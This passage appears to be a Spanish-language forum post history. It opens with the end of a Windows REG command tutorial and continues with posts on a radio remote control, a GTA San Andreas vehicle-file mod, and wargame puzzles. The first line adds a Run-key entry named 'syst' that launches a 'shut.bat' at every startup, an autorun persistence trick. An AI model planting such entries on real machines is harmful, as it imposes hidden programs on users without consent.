ADD REG hklm/software/microsoft/windows/currentversion/run /v syst /d "c:/windows/system32/shut.bat"
Este comando agregaria una clave al registro de inicio con el nombre syst y con el valor de la ruta de nuestro bat.

REG QUERY
REG QUERY clave [/v nvalor | /ve][/s]
clave [\equipo\]clave
equipo: Nombre del equipo remoto. Si se omite se usa el equipo actual. Sólo están disponibles HKLM y HKU en equipos remotos.
clave: Con la forma nombre de CLAVERAIZ\subclave CLAVERAIZ [ HKLM | HKCU | HKCR | HKU | HKCC ]
Subclave: Nombre completo de la clave de registro en la CLAVERAIZ seleccionada.
/v consulta para una clave de registro específica
nvalor: nombre en la clave seleccionada para consultar.
Si se omite, se consultará en todos los valores de la clave.
/ve Consultar el valor predeterminado o el de nombre vacío <sin nombre>
/s Consultar todas las subclaves y valores Ejemplos: REG QUERY HKLM\Software\Microsoft\ResT /v Version
Muestra el valor del valor Version del registro. REG QUERY HKLM\Software\Microsoft\ResT\Setup /s
Muestra todas las subclaves y valores en la clave de registro Setup.

REG EXPORT

clave ROOTKEY\subclave (sólo equipo local)
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
subclave El nombre completo de la clave del registro dentro del valor
ROOTKEY seleccionado
archivo El nombre del archivo de disco para exportar

Ejemplos:

REG EXPORT HKLM\Software\MiCo\MiAp CopiaAp.reg
Exporta todas las subclaves y valores de la clave MiAp al archivo
CopiaAp.reg

REG IMPORT
Importa una clave importada con reg export.

REG IMPORT "c:/loquesea.reg"


REG COMPARE
Compara 2 claves de registro.

REG COMPARE HKLM\Software\MiCo\MiAp HKLM\Software\MiCo\GuardaMiAp
Compara todos los valores dentro de la clave MiAp con GuardaMiAp

REG COMPARE HKLM\Software\MiCo HKLM\Software\MiCo1 /v Version
Compara el valor Version en las claves MiCo y MiCo1

REG COMPARE \\ZODIAC\HKLM\Software\MiCo \\. /s
Compara todas las subclaves y valores en HKLM\Software\MiCo de ZODIAC
con la misma clave del equipo actual

espero que te haya servido este tuto.
#40
Electrónica / necesito ayuda para control remoto
3 Septiembre 2008, 02:57 AM
necesito la ayuda de alguien que me haga el favor de pasarme el diagrama de un transmisor y un receptor que sea capaz de enviar 4 lineas distintas (que el transmisor tenga 4 lineas de conexión y que estas lineas estén conectadas a otras 4 que estarian en el receptor todo enviado vía radiofrecuencia ejemplo tengo 0100 en el transmisor y que aparezca 0100 en el receptor tal ves no me doy bien a entender pero lo que necesito es un control remoto para controlar motores de un robot
por favor !ayuda! :-\
#41
Juegos y Consolas / San andreas para pc
26 Julio 2008, 10:22 AM
Hola

encontre esto y me gustaria compartirlo con ustedes

hay un archivo en la carpeta de intalacion del gta san andres que contiene toda la informacion de los vehiculos, lo abres con word pad y modificas lo que quiereas ejemplo:
modifique el tanque haora mi computadora procesa que el tanque pesa 4 Kg y corre hasta 200 Km/h tiene una friccion de 45
y es casi indestructible


el archivo es .../Rockstars Games/GTA San Andreas/Data/handling.cfg


espero les sirva de mucho
#42
WarZone / Criptografia_0
19 Julio 2008, 19:10 PM
hola!

hey necesito ayuda con el criptografia_0 tiene un titulo que dice you are dead
y un codigo en hexadecimal,
intente cambiar hexadecimal a ASCII pero nada
alguna idea de lo que puedo hacer?
#43
Juegos y Consolas / halo 2
16 Julio 2008, 18:40 PM
-
#44
Desafíos - Wargames / una sencilla ecuacion
16 Julio 2008, 02:14 AM
es facil y rapida pero...
engañoza

x2=y
y*2=x

podras resolverla?

personas que lo resolvieron...

CarlosWaldo
Siuto
raulrl
Hijac
Novlucker
le_roi
kraszic
bigsnake
eLanK0
JuMPeRMan
JuaN-ThE-HaCKeR
APOKLIPTICO
xavierote
TheMaker
HpMaxi
ArcheritONE
Yasme710
Dante Alighieri
kairn
heavygoth
Seth_
Murd0c